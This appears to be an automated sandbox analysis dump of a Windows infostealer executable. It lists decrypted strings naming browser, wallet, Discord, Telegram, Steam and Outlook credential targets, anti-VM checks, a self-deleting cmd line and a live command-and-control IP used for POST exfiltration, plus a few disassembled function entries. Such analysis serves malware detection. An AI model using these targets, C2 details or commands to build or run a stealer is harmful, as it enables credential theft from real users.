Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CURRENT
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: chrome-extension_
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: _0.indexeddb.leveldb
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Local State
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: profiles.ini
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: chrome
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: opera
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: firefox
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wallets
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %08lX%04lX%lu
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ProductName
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: x32
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: x64
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ProcessorNameString
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DisplayName
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DisplayVersion
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Network Info:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - IP: IP?
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Country: ISO?
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: System Summary:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - HWID:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - OS:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Architecture:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - UserName:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Computer Name:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Local Time:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - UTC:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Language:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Keyboards:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Laptop:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Running Path:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - CPU:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Threads:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Cores:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - RAM:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - Display Resolution:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: - GPU:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: User Agents:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Installed Apps:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: All Users:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Current User:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Process List:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: system_info.txt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: freebl3.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: mozglue.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: msvcp140.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: nss3.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: softokn3.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: vcruntime140.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Temp\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: .exe
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: runas
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: open
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: /c start
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %DESKTOP%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %APPDATA%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %LOCALAPPDATA%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %USERPROFILE%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %DOCUMENTS%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %PROGRAMFILES%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %PROGRAMFILES_86%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %RECENT%
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: *.lnk
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: files
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \discord\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Local Storage\leveldb
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Telegram Desktop\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: key_datas
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: D877F783D5D3EF8C*
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: map*
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: A7FDF864FBC10B77*
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: F8806DD0C461824F*
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Telegram
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Tox
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: *.tox
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: *.ini
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Password
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 00000001
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 00000002
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 00000003
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: 00000004
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Outlook\accounts.txt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Pidgin
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \.purple\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: accounts.xml
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: dQw4w9WgXcQ
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: token:
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Software\Valve\Steam
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SteamPath
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \config\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ssfn*
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: config.vdf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DialogConfig.vdf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: libraryfolders.vdf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: loginusers.vdf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Steam\
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sqlite3.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: browsers
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: done
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: soft
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: \Discord\tokens.txt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: https
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: POST
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HTTP/1.1
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: hwid
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: build
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: token
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: file_name
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: file
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: message
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: screenshot.jpg
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: INSERT_KEY_HERE
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetProcAddress
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: LoadLibraryA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrcatA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: OpenEventA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateEventA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CloseHandle
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Sleep
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetUserDefaultLangID
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualAllocExNuma
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetSystemInfo
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HeapAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetComputerNameA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrcpyA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetProcessHeap
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetCurrentProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrlenA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ExitProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalMemoryStatusEx
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetSystemTime
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SystemTimeToFileTime
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: advapi32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: gdi32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: user32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: crypt32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ntdll.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetUserNameA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateDCA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetDeviceCaps
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ReleaseDC
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CryptStringToBinaryA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sscanf
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VMwareVMware
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HAL9TH
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: JohnDoe
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DISPLAY
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: %hu/%hu/%hu
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: http://85.28.47.31
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: silence
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: /5499d72b3a3e55be.php
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: /8405906461a5200c/
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: sila
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetEnvironmentVariableA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetFileAttributesA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalLock
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HeapFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetFileSize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalSize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateToolhelp32Snapshot
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: IsWow64Process
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Process32Next
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLocalTime
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FreeLibrary
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetTimeZoneInformation
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetSystemPowerStatus
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetVolumeInformationA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetWindowsDirectoryA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: Process32First
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLocaleInfoA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetUserDefaultLocaleName
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetModuleFileNameA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DeleteFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FindNextFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: LocalFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FindClose
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SetEnvironmentVariableA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: LocalAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetFileSizeEx
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ReadFile
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SetFilePointer
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: WriteFile
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: FindFirstFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CopyFileA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: VirtualProtect
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLogicalProcessorInformationEx
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetLastError
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: lstrcpynA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: MultiByteToWideChar
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: WideCharToMultiByte
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GlobalAlloc
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: OpenProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: TerminateProcess
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetCurrentProcessId
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: gdiplus.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ole32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: bcrypt.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wininet.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: shlwapi.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: shell32.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: psapi.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: rstrtmgr.dll
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateCompatibleBitmap
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SelectObject
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BitBlt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: DeleteObject
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateCompatibleDC
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipGetImageEncodersSize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipGetImageEncoders
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipCreateBitmapFromHBITMAP
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdiplusStartup
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdiplusShutdown
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipSaveImageToStream
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipDisposeImage
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GdipFree
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetHGlobalFromStream
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CreateStreamOnHGlobal
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CoUninitialize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CoInitialize
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CoCreateInstance
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptGenerateSymmetricKey
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptCloseAlgorithmProvider
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptDecrypt
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptSetProperty
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptDestroyKey
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: BCryptOpenAlgorithmProvider
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetWindowRect
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetDesktopWindow
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetDC
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CloseWindow
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wsprintfA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: EnumDisplayDevicesA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: GetKeyboardLayoutList
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CharToOemW
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: wsprintfW
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegQueryValueExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegEnumKeyExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegOpenKeyExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegCloseKey
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: RegEnumValueA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CryptBinaryToStringA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: CryptUnprotectData
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: SHGetFolderPathA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: ShellExecuteExA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetOpenUrlA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetConnectA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetCloseHandle
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetOpenA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HttpSendRequestA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: HttpOpenRequestA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetReadFile
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: InternetCrackUrlA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: StrCmpCA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: StrStrA
Source: 25.2.9fa327eb6c.exe.26b0e67.1.raw.unpack	String decryptor: StrCmpCW

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409BB0 CryptUnprotectData,LocalAlloc,memcpy,LocalFree,	0_2_00409BB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00418940 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00418940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0040C660 memset,lstrlenA,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,memcpy,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_0040C660
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00407280 GetProcessHeap,HeapAlloc,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00407280
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00409B10 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00409B10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6E6C80 